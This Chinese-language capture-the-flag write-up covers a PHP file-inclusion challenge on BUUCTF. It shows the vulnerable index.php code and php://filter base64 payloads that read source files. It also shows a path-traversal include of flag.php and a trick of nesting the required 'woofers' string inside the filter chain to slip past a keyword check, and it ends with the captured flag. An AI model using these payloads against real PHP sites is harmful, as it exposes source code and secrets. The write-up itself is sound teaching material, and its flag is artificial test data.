主要考察文件包含以及php://filter伪协议的一个小trick。题目很简单,但是因为不知道这个trick卡了很久,记录一下
进入题目看到有两个按钮,没有其他信息:
点击按钮显示出来一张图片,然后发现URL变成了:
http://0d01386f-60a4-4890-9723-b12f3a9eb35c.node3.buuoj.cn/index.php?category=woofers
怀疑是SQL注入或者是文件包含,随便输入一个值返回了PHP报错:
确定是文件包含漏洞,直接包含/flag发现包含不到,先用php://filter伪协议读一下index.php源码看看:
php://filter/read=convert.base64-encode/resource=index
(这里构造成php://filter/read=convert.base64-encode/resource=index.php是会报错的,因为后端给文件后拼接了“.php”)
得到index.php源码:
......<以上HTML省略> php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串 include ($file . '.php'); //参数后拼接.php } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?> ......<以下HTML省略>
利用include函数特性包含一下flag.php文件试试:
index.php?category=woofers/../flag
发现源码中多出了一些东西,说明flag.php被包含了进去:
接下来的问题就是如何读取到flag.php的源码。
这里卡了好久,后来请教了几位师傅才知道php://filter伪协议可以套一层协议,就像:
php://filter/read=convert.base64-encode/woofers/resource=index
这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含,得到Flag.php:
解码得到Flag:
php // flag{a4aaba40-84f9-4b7a-b269-d025b03676a1} ?>